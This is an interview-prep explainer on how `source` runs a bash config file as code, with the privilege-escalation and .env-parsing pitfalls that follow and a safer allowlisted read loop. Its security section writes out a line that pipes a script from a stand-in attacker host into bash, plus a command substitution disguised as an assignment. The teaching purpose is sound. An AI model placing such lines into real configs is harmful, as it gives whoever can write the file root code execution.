skip to content

Your bash deploy script loads its settings with `source /etc/deploy.conf`. What does that actually do to the contents of that file, and what goes wrong when the file is writable by other users or is edited as if it were a plain .env file?

level: seniorimportance: should knowfreq 34%

answer

  1. config or code, pick one
  2. write permission equals execution
  3. assignments only look like data
  4. a stray space runs a command
  5. allowlist the keys, assign literally

basics

~20 s

Sourcing a config file executes every line as bash in the running shell. Anyone who can write that file can run arbitrary commands with the script's privileges, and ordinary .env conventions such as unquoted values with spaces or inline comments do not mean what the author intended.

solid answer

~50 s

`source` does not parse `KEY=VALUE`; it *runs the file*. Assignments happen to look like shell syntax, so it usually seems to work — until a line does something else. A command substitution or a stray command in the file executes with the script's privileges, which under cron or a systemd unit is often root, so a config file writable by a lesser user is a straight privilege-escalation path. The file can also silently reshape the caller: `set -x`, a `cd`, an `exit`, a redefined `PATH` or `IFS`. And it is not .env-compatible — `NAME=hello world` runs the command `world`, `PORT=8080 # http` keeps the comment only because `#` starts a word there, `$HOME` inside a value is expanded, and a CRLF file leaves `\r` on the end of every value. If the file is not fully trusted, read it with a loop that validates each key instead of sourcing it.

code

bash · 8 lines
bash
#!/usr/bin/env bash
set -euo pipefail
conf=${1:?usage: read-conf FILE}
while IFS='=' read -r key value; do
  [[ $key =~ ^[A-Za-z_][A-Za-z0-9_]*$ ]] || continue
  declare "$key=${value%$'\r'}"
done < "$conf"
printf 'APP_ENV=%s\n' "${APP_ENV:-unset}"

go deeper

for a junior

Know that source runs a config file as shell code rather than parsing it, so values with spaces must be quoted and anything else in the file will actually execute.

for a middle

Explain the concrete failure modes: NAME=hello world runs a command, $ in a value is expanded, CRLF endings corrupt values, and a set -x or exit in the file changes or ends the caller.

for a senior

Treat the file's write permissions as code-execution permissions: name who can write it, what identity the script runs as under cron or systemd, and when you switch from sourcing to an allowlisted parse loop. Mention slash-qualified paths and set -a scoping.

for a principal

Own the trust boundary across the fleet — which configs are owned artefacts versus operator- or pipeline-authored input, whether shell should be parsing configuration at all, and how you would move settings into a format the application reads directly.

## "Config file" is a story we tell ourselves A sourced file is not data. `source /etc/deploy.conf` means: read this file and execute it in the current shell. The reason the pattern feels safe is that a shell assignment and a config line look identical, so a file full of `KEY=value` behaves like a parsed config. Everything that goes wrong comes from lines that are not simple assignments — whether put there deliberately or by accident. ## The security dimension Whatever the file contains runs with the script's privileges and identity. A deploy script under a systemd unit or root's crontab runs as root, so: ```bash # /etc/deploy.conf APP_ENV=prod curl -s http://attacker.example/x.sh | bash ``` is a root shell for anyone who can write that file. It does not need to be that blatant — `REGION=$(id > /tmp/pwned; echo eu)` looks like an assignment. So the ownership and permissions of a sourced file are part of the script's trust boundary, exactly like the permissions of the script itself: it should be owned by the account that runs the script (or root), and not group- or world-writable. A config in a directory anyone can create files in — or fetched over the network and then sourced — is the same defect with more steps. The general injection theory here belongs to application security; the shell-specific point is narrower and worth stating precisely in an interview: **sourcing is execution, so the file's write permissions are code-execution permissions.** ## The correctness dimension Even with a fully trusted file, sourcing surprises people who write it in `.env` style: - `NAME=hello world` does **not** set `NAME` to `hello world`. It runs the command `world` with `NAME=hello` in its environment — and under `set -e` that failure aborts the script. Values need quoting. - `KEY = value` is not an assignment at all; bash tries to run the command `KEY`. - `PATH=/opt/bin` (rather than appending) silently breaks every later command that relied on the normal path. - `$HOME`, backticks and `$(...)` inside values are expanded, because this is shell code. Sometimes that is a feature; when someone pastes a password containing `$`, it is not. - A file saved on Windows leaves a carriage return at the end of each line, so `PORT=8080\r` produces values that fail comparisons in ways that are invisible in logs. - Any `set -e`, `set -x`, `cd`, `umask`, `trap` or `exit` in the file applies to the caller, because the caller is the shell running it. An `exit` in a config file terminates the deploy. ## Sourcing safely when you must If the file is genuinely trusted and you control it, sourcing is acceptable — make it deliberate: - Source a **slash-qualified path** (`source /etc/deploy.conf` or `source ./conf`), never a bare name; a name without a slash is looked up on `$PATH` first. - Check it exists and is loadable rather than proceeding blindly: `[[ -r $conf ]] || { echo "missing $conf" >&2; exit 1; }`. - Use `set -a; source "$conf"; set +a` when the point is to export the settings to child processes — `allexport` marks every assignment made while it is on for export, and turning it off again keeps the effect scoped. - Source it *before* the script sets its own critical variables, so a config typo cannot clobber something the script computed. ## Reading it as data instead When the file is user-editable, arrives from another team, or is packaged by a tool that thinks it is writing `.env`, parse it: ```bash while IFS='=' read -r key value; do [[ $key =~ ^[A-Za-z_][A-Za-z0-9_]*$ ]] || continue declare "$key=$value" done < "$conf" ``` The `IFS='='` split gives key and value, the regex is an allowlist that skips comments, blank lines and anything that is not a plain identifier, and `declare "$key=$value"` assigns the value literally with no re-evaluation. Add a `${value%$'\r'}` strip if CRLF files are a possibility, and decide explicitly whether to honour surrounding quotes. Better still, if the surrounding system already has a real config format, let the application read it and keep the shell out of the parsing business. ## The judgment an interviewer wants The answer is not "never source config" — it is knowing which side of the trust boundary the file sits on. A file you ship, own and control, sourced from an absolute path, is a reasonable and idiomatic way to configure a script. A file that a less-privileged user, a web form, or a CI artefact can write is code you are agreeing to run as yourself, and it must be parsed rather than executed.

  • The config file is owned by root and mode 644, and the script runs as root. Is sourcing it safe now?
    From a write-access view, yes — only root can change it, so sourcing grants nothing root did not already have. Two checks remain: every parent directory must also be root-owned and non-writable, otherwise the file can be replaced by swapping the path; and the file's *contents* still execute, so a template that interpolates untrusted values into it reintroduces the problem.
  • What does `set -a` around a source do, and why use it?
    `set -a` (allexport) marks every variable assigned while it is on for export, so `set -a; source ./app.conf; set +a` pushes the whole config into the environment of child processes without writing `export` on each line. Turning it off immediately keeps later assignments from leaking into every command the script runs.
  • Why does `source config` without a leading `./` behave differently from `source ./config`?
    A filename with no slash is searched along `$PATH` first (bash's `sourcepath` behaviour, on by default), so a file of that name anywhere on the path can be loaded instead of the one in the current directory. Always source a path containing a slash, or an absolute path, so the target is unambiguous.

saying these in an interview costs you the question

  • Believes source parses KEY=VALUE rather than executing the file
  • Thinks quotes around values are optional in a sourced config
  • Treats a .env file as interchangeable with a sourceable shell file
  • Ignores who can write a config file that a root cron job sources
  • Assumes command substitution inside a config value is inert text

context